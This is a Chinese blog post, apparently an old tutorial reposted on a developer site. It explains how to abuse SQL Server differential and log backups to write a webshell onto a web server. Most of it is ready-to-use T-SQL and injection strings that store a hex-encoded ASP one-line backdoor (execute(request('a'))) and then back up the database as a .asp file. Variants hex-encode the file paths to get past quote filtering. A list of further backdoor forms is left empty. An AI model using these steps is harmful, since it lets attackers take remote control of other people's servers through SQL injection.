mysql差异备份提权_复习一下sql server的差异备份

复习一下sql server的差异备份

更新时间:2007年03月08日 00:00:00   作者:

MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!

差异备份的流程大概这样:

1.完整备份一次(保存位置当然可以改)

backup database 库名 to disk = 'c:\ddd.bak';--

2.创建表并插曲入数据

create table [dbo].[dtest] ([cmd] [image]);

insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

3.进行差异备份

backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

上面

0x3C25657865637574652872657175657374282261222929253E

就是一句话木马的内容:

如下是网上常见的差异备份代码,思路一样!

===================================================

利用差异备份提高提高backupwebshell的成功率,减少文件大小

步骤:

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak

0x3C25657865637574652872657175657374282261222929253E是

0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

声明:方法不是我想的,我只是写工具,默认得到shell是

===============================================================

我发现上面代码,有时会无效,而直接用

backup database 库名 to disk = 'c:\ddd.bak'

create table [dbo].[dtest] ([cmd] [image]);

insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!

库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!

网上还有log增量备份的,我也把他记录一下

=====================================================

另一种log增量备份技术:

';alter database null set RECOVERY FULL--

';create table cmd (a image)--

';backup log null to disk = 'f:\cmd' with init--

';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292

9253EDA)--

';backup log null to disk = '备份路径'--

PS:0x3C2565786563757465287265717565737428226122292

9253EDA 是一句话小马16进制转来的

说到一句话马,还可以有这么几种写法:

a).

b).

c).%>

d).

e).

相关文章

1a1b05c64693fbf380aa1344a7812747.png

都是sql中一些比较实用的sql语句,需要的朋友可以收藏下,方便以后使用。2011-10-10

4f55910a645b073bc4fc65dc10dc14bd.png

在sqlserver中比较常见的关键字有很多,下面小编主要给大家介绍sql server关键字详解,需要了解的朋友可以一起来学习2015-08-08

0ea3c7666119d5615e582f823fb3fad6.png

SQL查询连续号码段的巧妙解法...2007-04-04

4f96a78db829b1556ff16de21e013c7a.png

Merge关键字是一个神奇的DML关键字。它在SQL Server 2008被引入,它能将Insert,Update,Delete简单的并为一句。通过本篇文章给大家介绍sqlserver中merge函数用法详解,感兴趣的朋友一起学习吧2015-11-11

8cc1031babc6aff2319f1c6af8544aa0.png

众所周知,在M$sql中有个绝对是网络安全中的隐患的帐号sa,系统管理员 (sa),默认情况下,它指派给固定服务器角色 sysadmin,并不能进行更改。2008-03-03

0c932a99bb7b6f23c937db507070cc7b.png

将查询的结果放到一个新表中去,查询结果可以来源于一个表或多个表。2010-06-06

cca732bf65a93ed2ec0ac80c638460fe.png

本文是小编日常收集整理SqlServer数据库优化经验和注意事项,详细介绍了SQL语句优化的基本原则,包括索引、查询和游标的使用等2015-11-11

2d9f31f2af7b675a3d153d2b7f1035a7.png

本篇文章介绍了,SQL Server的基本功能性语句。需要的朋友参考下2013-04-04

b452cee8ec5cd9e58ab98eba17281e59.png

这篇文章主要介绍了VS2015安装之后加装SQL SERVER2014详细步骤,具有一定的参考价值,感兴趣的小伙伴们可以参考一下2016-12-12

f4838ec7e2d4da28e0b57d4e852dadd4.png

此文章主要向大家讲述的是非动态SQL ServerSQL语句执行动态查询,在实际操作中我尝试在一个存储过程中,来进行传递一系列以逗号划定界限的值,来对结果集进行限制。但是无论什么时候,我在IN子句中使用变量,都会得到错误信息2017-06-06

最新评论

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值